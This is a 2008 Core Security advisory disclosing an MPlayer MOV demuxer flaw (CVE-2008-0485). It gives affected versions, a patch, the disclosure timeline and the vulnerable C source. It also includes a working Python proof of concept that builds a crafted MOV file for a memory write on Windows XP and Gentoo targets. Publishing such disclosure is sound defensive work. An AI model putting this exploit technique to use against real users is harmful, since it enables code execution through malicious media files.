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          Core Security Technologies - CoreLabs Advisory
               http://www.coresecurity.com/corelabs

              MPlayer arbitrary pointer dereference

*Advisory Information*

Title: MPlayer arbitrary pointer dereference
Advisory ID: CORE-2008-0122
Advisory URL: http://www.coresecurity.com/?action=item&id=2102
Date published: 2008-02-04
Date of last update: 2008-01-30
Vendors contacted: MPlayer team
Release mode: Coordinated release


*Vulnerability Information*

Class: Buffer overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 27499
CVE Name: CVE-2008-0485


*Vulnerability Description*

The MPlayer package [1] is vulnerable to an arbitrary pointer
dereference vulnerability, which can be exploited by malicious remote
attackers to compromise a user's system. The vulnerability is caused by
the MPlayer libmpdemux ('demux_mov.c') library not properly sanitizing
certain tags on a MOV file before using them to index an array on the
heap. This can be exploited to execute arbitrary commands by opening a
specially crafted file.


*Vulnerable Packages*

. MPlayer 1.0 rc2.
. Older versions are probably affected too, but they were not checked.


*Non-vulnerable Packages*

. MPlayer SVN HEAD after r25922 (Tue Jan 29 22:14:00 2008 UTC).
. MPlayer 1.0rc2 + security patches.


*Vendor Information, Solutions and Workarounds*

A fix for this problem was committed to SVN on the MPlayer project [2].
Users of affected MPlayer versions should download a patch [3] for
MPlayer 1.0rc2 or update to the latest version if they are using SVN.


*Credits*

This vulnerability was discovered and researched by Felipe Manzano and
Anibal Sacco from Core Security Technologies.


*Technical Description / Proof of Concept Code*

First some information from Quicktime File Format Specification (may 1996):

"A QuickTime file stores the description of the media separately from
the media data. The description, or meta-data, is called the movie and
contains information such as the number of tracks, video compression
format, and timing information. The movie also contains an index of
where all the media data is stored. The media data is all of the actual
sample data, such as video frames and audio samples. The media data may
be stored in the same file as the QuickTime movie, in a separate file,
or in several files.

...QuickTime uses two basic structures for storing information: atoms
and QT atoms. Both atoms and QT atoms allow you to construct arbitrarily
complex hierarchical data structures. Both also allow applications to
ignore data they don't understand."

An atom field has a LTV format (Length - Tag - Value) and the sizes are
the following:

/-----------

+--------------+
|     Size     |   (32 bits)
+--------------+
|     Tag      |   (32 bits)
+--------------+
|   Payload    |   (variable, which could contain other atoms inside)
+--------------+

- -----------/

The MPlayer software walks these atoms structures and parses the
'Payload' fields. The vulnerability occurs when parsing the 'stsc' atom
tag (which could be contained or not inside another atom) as we explain
below.

At 'mov_demux.c' (line 1768) an array of 'chunkmap' structures is filled
by reading data straight from file without any kind of check. Then, at
'mov_build_index()' (line 150), the 'trak->chunkmap[i].first' field is
used to index the heap array 'chunks' allowing an attacker to write the
'sdid' and 'spc' values at some memory address relative to that heap
pointer causing a memory corruption. This could be used to overwrite
function pointers or some critical data allowing an attacker to get code
execution.

Besides, it is possible to fool the parser in a way such that no memory
is allocated for the array pointed by 'trak->chunks', being initialized
to 0 (at line 1301). Doing this will remove the "relative to that heap
pointer" restriction allowing an attacker to write partially at almost
any memory address.

Why partially? Because the structure used to write is declared in this way:

/-----------

typedef struct {
    unsigned int sample; // number of the first sample in the chunk
    unsigned int size;   // number of samples in the chunk
    int desc;            // for multiple codecs mode - not used
    off_t pos;
} mov_chunk_t;

- -----------/

So, being 'desc' and 'size' the controlled fields it is possible to
write at memory address: 'i*sizeof(chunk_t)+4' and 'i*sizeof(chunk_t)+8'
for any 'i' value (at lines 177 and 178).

/-----------

1755  case MOV_FOURCC('s','t','s','c'): {
1756    int temp = stream_read_dword(demuxer->stream);
1757    int len = stream_read_dword(demuxer->stream);
1758    int ver = (temp << 24);
1759    int flags = (temp << 16) | (temp << 8) | temp;
1760    int i;
1761    mp_msg(MSGT_DEMUX, MSGL_V,
1762         "MOV: %*sSample->Chunk mapping table!  (%d blocks)
(ver:%d,flags:%d)\n", level, "",
1763          len, ver, flags);
1764  // read data:
1765  trak->chunkmap_size = len;
1766  trak->chunkmap = calloc(len, sizeof(mov_chunkmap_t));
1767  for (i = 0; i < len; i++) {
1768    trak->chunkmap[i].first = stream_read_dword(demuxer->stream) - 1;
1769    trak->chunkmap[i].spc = stream_read_dword(demuxer->stream);
1770    trak->chunkmap[i].sdid = stream_read_dword(demuxer->stream);
1771  }
1772  break;
1773 }

150 void mov_build_index(mov_track_t* trak,int timescale){
151     int i,j,s;
152     int last=trak->chunks_size;
153     unsigned int pts=0;
154
169     mp_msg(MSGT_DEMUX, MSGL_V, "MOV track #%d: %d chunks, %d
samples\n",trak->id,trak->chunks_size,trak->samples_size);
170     mp_msg(MSGT_DEMUX, MSGL_V, "pts=%d  scale=%d
time=%5.3f\n",trak->length,trak->timescale,(float)trak->length/(float)trak->timescale);
171
172    // process chunkmap:
173    i=trak->chunkmap_size;
174    while(i>0){
175       --i;
176       for(j=trak->chunkmap[i].first;j<last;j++){
177          trak->chunks[j].desc=trak->chunkmap[i].sdid;
178          trak->chunks[j].size=trak->chunkmap[i].spc;
179       }
180       last=trak->chunkmap[i].first;
181    }

- -----------/

In this way, as we show in the following PoC, it is possible to build a
file that contains specially crafted 'stsc' atoms allowing an attacker
to write any value in practically any address. With this clear and some
voodoo magic it is possible to write a scattered payload that builds a
fully functional shellcode on some other place to subsequently jump to.

The following PoC python code demonstrates the vulnerability.

/-----------

#!/bin/python

import struct
import sys

def mkatom(type,data):
    if len(type) != 4:
        raise "type must by of length 4!!!"
    mov = ""
    mov += struct.pack(">L",len(data)+8)
    mov += type
    mov += data
    return mov

def poc(address, block_size):

    what=struct.pack(">L", 0x41414141) * 2 # Writes an 8 bytes chunk
    base= ((address - 8) / block_size) +1

    ftyp = mkatom("ftyp","3gp4"+"\x00\x00\x02\x00"+"3gp4"+"3gp33gp23gp1")
    mdat = mkatom("mdat","MALDAAAAAD!")
    stsc  = mkatom("stsc",struct.pack(">L",1) + \
                    struct.pack(">L",2) + \
                    struct.pack(">L",base) + \
                    what + \
                    struct.pack(">L",base+300)+what)
    trak = mkatom("trak",stsc)
    moov = mkatom("moov",trak)

    file = ftyp + mdat + moov
    return file

try:
    if sys.argv[2] != "linux":
        evilness = poc(0x0122e000, 24)     #Windows XP SP2 Prof. ES
    else:
        evilness = poc(0x088aa020, 20)     #Linux Gentoo

    print "[+] Generating file: %s" % sys.argv[1]
    file = open(sys.argv[1], "wb")
    file.write(evilness)
    file.close()
    print "[+] Done."

except Exception, e:
    print "[+] Usage: python mplayer_poc.py filename.mov windows (For
WinXP Prof SP2 ES)"
    print "           python mplayer_poc.py filename.mov linux     (For
Linux Gentoo)"

- -----------/


*Report Timeline*

. 2008-01-18: Core Security Technologies notifies the MPlayer team of
the vulnerability.
. 2008-01-18: The MPlayer team asks Core Security Technologies for
technical description of the vulnerability.
. 2008-01-22: Technical details sent to MPlayer team by Core Security
Technologies.
. 2008-01-28: MPlayer notifies Core Security Technologies that a fix has
been produced.
. 2008-02-04: CORE-2008-0122 advisory is published.


*References*

[1] http://www.mplayerhq.hu
[2]
http://svn.mplayerhq.hu/mplayer/trunk/libmpdemux/demux_mov.c?r1=25920&r2=25922
[3] http://www.mplayerhq.hu/MPlayer/patches/demux_mov_fix_20080129.diff


*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://www.coresecurity.com/corelabs/.


*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at
http://www.coresecurity.com.


*Disclaimer*

The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.


*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

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